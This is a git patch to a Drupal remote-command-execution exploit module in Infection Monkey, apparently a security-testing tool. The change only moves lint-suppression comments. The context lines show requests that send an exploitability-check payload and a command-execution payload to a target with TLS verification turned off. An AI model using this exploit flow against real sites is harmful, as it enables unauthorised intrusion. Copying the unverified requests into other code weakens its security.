From 658a744c5aa1994855fc04a8e613f669f94a70d8 Mon Sep 17 00:00:00 2001 From: ophirharpazg Date: Wed, 2 Sep 2020 12:50:47 +0300 Subject: [PATCH] move noqa to the invocation line --- monkey/infection_monkey/exploit/drupal.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 6cada4f36..84919baef 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -72,10 +72,10 @@ class DrupalExploiter(WebRCE): """ payload = build_exploitability_check_payload(url) - response = requests.get(f'{url}?_format=hal_json', + response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 json=payload, headers={"Content-Type": "application/hal+json"}, - verify=False) # noqa: DUO123 + verify=False) if is_response_cached(response): LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') @@ -89,10 +89,10 @@ class DrupalExploiter(WebRCE): base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - r = requests.get(f'{url}?_format=hal_json', + r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 json=payload, headers={"Content-Type": "application/hal+json"}, - verify=False) # noqa: DUO123 + verify=False) if is_response_cached(r): LOG.info(f'Exploiting {url} returned cache HIT, may have failed')